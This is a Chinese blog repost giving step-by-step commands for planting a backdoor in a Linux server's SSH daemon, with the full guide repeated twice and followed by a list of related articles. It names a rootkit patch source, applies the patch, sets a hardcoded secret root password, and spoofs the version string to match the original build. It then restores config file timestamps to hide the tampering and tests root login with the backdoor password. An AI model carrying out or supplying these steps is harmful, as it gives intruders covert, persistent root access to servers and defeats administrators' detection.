Linux系统安全之ssh后门
2017-03-16 10:48
561 查看
http://www.2cto.com/article/201309/242910.html
1.ssh -V
#查看当前的ssh版本信息
#OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010
2.查找ssh的配置文件
一般都在/etc/ssh中
3.备份原来的文件的time
将/etc/ssh下的文件的备份
假设/etc/ssh/sshd_config 备份为/etc/ssh/sshd_config.old
4.wget存在后门的ssh
#http://core.ipsecs.com/rootkit/patch-to-hack/(已被墙) 后门
#http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/ 正规的ssh源文件
#openssh-5.9p1.tar(正规文件)
#openssh-5.9p1.path.tar(后门文件)
5.tar zxf openssh-5.9p1.tar
tar zxf openssh-5.9p1.path.tar
cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff
6.修改ssh信息
vi inculdes.h
##define SECRETPW “sky” 后门的密码
vi version.h
#define SSH_VERSION “OpenSSH_5.8p1 Debian-1ubuntu3″ #修改为第一步ssh -V 查看到的信息
#define SSH_PORTABLE “p1″
7.源码编译
yum install -y openssl openssl-devel pam-devel
./configure –prefix=/usr –sysconfdir=/etc/ssh –with-pam –with-kereros5
#–sysconfdir=/etc/ssh 是在第二步查找的路径
#如果不设定和源文件的路径
#strings /usr/sbin/sshd | grep etc
#就可以看出问题!!!
编译过程中可能出现的报错:
configure: error: *** zlib.h missing – please install first or check config.log
#
#yum install zlib-devel
configure: error: *** Can’t find recent OpenSSL libcrypto (see config.log for details) ***
#
#yum install openssl openssl-devel
make && make install
/etc/init.d/sshd restart
7.还原原来ssh文件的time
修改文件的修改时间(mtime)
touch -r /etc/ssh/sshd_config.old /etc/ssh/config 等等
8.测试
ssh root@localhost
输入刚才设定的后门的密码,如果登录成功,表示设定ok!
1.ssh -V
#查看当前的ssh版本信息
#OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010
2.查找ssh的配置文件
一般都在/etc/ssh中
3.备份原来的文件的time
将/etc/ssh下的文件的备份
假设/etc/ssh/sshd_config 备份为/etc/ssh/sshd_config.old
4.wget存在后门的ssh
#http://core.ipsecs.com/rootkit/patch-to-hack/(已被墙) 后门
#http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/ 正规的ssh源文件
#openssh-5.9p1.tar(正规文件)
#openssh-5.9p1.path.tar(后门文件)
5.tar zxf openssh-5.9p1.tar
tar zxf openssh-5.9p1.path.tar
cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff
6.修改ssh信息
vi inculdes.h
##define SECRETPW “sky” 后门的密码
vi version.h
#define SSH_VERSION “OpenSSH_5.8p1 Debian-1ubuntu3″ #修改为第一步ssh -V 查看到的信息
#define SSH_PORTABLE “p1″
7.源码编译
yum install -y openssl openssl-devel pam-devel
./configure –prefix=/usr –sysconfdir=/etc/ssh –with-pam –with-kereros5
#–sysconfdir=/etc/ssh 是在第二步查找的路径
#如果不设定和源文件的路径
#strings /usr/sbin/sshd | grep etc
#就可以看出问题!!!
编译过程中可能出现的报错:
configure: error: *** zlib.h missing – please install first or check config.log
#
#yum install zlib-devel
configure: error: *** Can’t find recent OpenSSL libcrypto (see config.log for details) ***
#
#yum install openssl openssl-devel
make && make install
/etc/init.d/sshd restart
7.还原原来ssh文件的time
修改文件的修改时间(mtime)
touch -r /etc/ssh/sshd_config.old /etc/ssh/config 等等
8.测试
ssh root@localhost
输入刚才设定的后门的密码,如果登录成功,表示设定ok!
相关文章推荐
- Linux系统安全之ssh后门
- Linux系统安全之ssh后门
- Linux系统安全之pam后门安装使用详解
- ECS Linux系统SSH服务安全配置
- Linux 系统下 ssh 安全设置指南
- 学习笔记8——linux系统安全优化之更改SSH服务远程登录的配置
- Linux 安全之SSH后门
- linux系统安全之pam后门
- Linux系统利用SSH远程控制安全问题
- 利用capability特征加强Linux系统安全
- 浅谈linux系统的安全加固
- 在Linux下设置最简单的ssh安全自动登录
- 保护Linux系统安全十步
- 系统安全:Linux服务器安全隐患以及防范对策
- linux系统的安装(redhat7.2)+jsp环境+mysql+安全设置
- 用专用Linux日志服务器增强系统安全
- Snort搭建安全的Linux入侵检测系统服务器
- SecureCRT使用ssh2安全登录Linux
- 【原创】远程管理linux系统---ssh服务
- 安全基础 Linux必学的系统安全命令